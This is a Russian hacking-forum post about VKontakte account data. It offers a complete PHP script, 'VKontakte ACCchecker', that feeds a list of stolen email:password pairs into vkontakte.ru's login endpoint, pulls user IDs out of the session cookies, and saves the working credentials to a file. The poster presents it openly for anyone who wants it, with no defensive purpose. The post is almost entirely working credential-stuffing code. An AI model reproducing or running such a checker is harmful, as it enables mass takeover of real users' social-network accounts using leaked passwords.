Форум АНТИЧАТ - Акки Вконтакте(данные)

PHP код:

		
			
<?php

#&-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|

#&-------------------------------

#&     ВКонтакте АККчекер    0.1

#&     VKontakte ACCchecker  0.1

#&     By NNNS::[icq: 474374] 

#&     All lefts reserved.

#&-------------------------------

#&-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|



# Отключаем ограничение на время выполнения скрипта

set_time_limit(0);

# User Agent

#$user_agent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.12"; 

# Файл с аккаунтами

$acclist = "vkontakte.pass.txt";

# Файл с валидными аккаунтами

$vallist = "valid-id.txt";

# Помещаем аккаунты в массив

$account = file($acclist);

# Рабочие аккаунты

$valid   = 0;

# Нерабочие аккаунты

$invalid = 0;



$uid=0;



function vkCheck($email,$pass) { 

global $uid;

    # Открываем сокет

    $fp=fsockopen("vkontakte.ru",80,$errno,$errstr,10); 

    # Отправляем заголовки

    $out = "GET /login.php?email=".$email."&pass=".$pass." HTTP/1.0\r\n"; 

    $out .= "Host: vkontakte.ru\r\n"; 

    $out .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.12\r\n"; 

    $out .= "Cookie: income=1\r\n"; 

    $out .= "Content-Type:text/xml; charset=windows-1251\r\n\r\n"; 

    fwrite($fp,$out); 

  $ans='';

  while(!feof($fp))

  {

  $ans.=fgets($fp,128);

  }

  fclose($fp);

    if(preg_match("/\b302 Found\b/is", $ans)) {



# вытаскиваем кукисы из ответа сервера

preg_match("/revalidate(.*?)Location/is", $ans, $cookies);

$cookies = str_replace("Set-Cookie: ", "",$cookies[1]);

preg_match("/remixmid=(.*?);/is", $cookies, $cook2);

$uid=$cook2[1];

        return true;

    } else {

        return false;

    }

}

# Запускаем цикл

  $fd = fopen($vallist,"w");

for($i=0;$i<count($account);$i++) {

    # Удаляем симолы перевода строки

    $caccaunt          = str_replace("\r\n","",$account[$i]);

    # Разбиваем на e-mail и пароль

    $array_ack = explode(":",$caccaunt);

    # Вызываем функцию проверки аккаунта

    $answer            = vkCheck($array_ack[2],$array_ack[3]);

    # Если аккаунт рабочий, записываем его в файл



    if ($answer == true) {

        

        fputs($fd,$uid.":".$array_ack[2].":".$array_ack[3].":\n");       

        $valid++;

    } else {

        $invalid++;    

    }

    sleep(1);

}

  fclose($fd);

# Выводим результат

echo "Рабочих аккаунтов: ".$valid."<br>Нерабочих аккаутов: ".$invalid;

?>
Немного переделанный скрипт от NNNS кому надо пользуйтесь.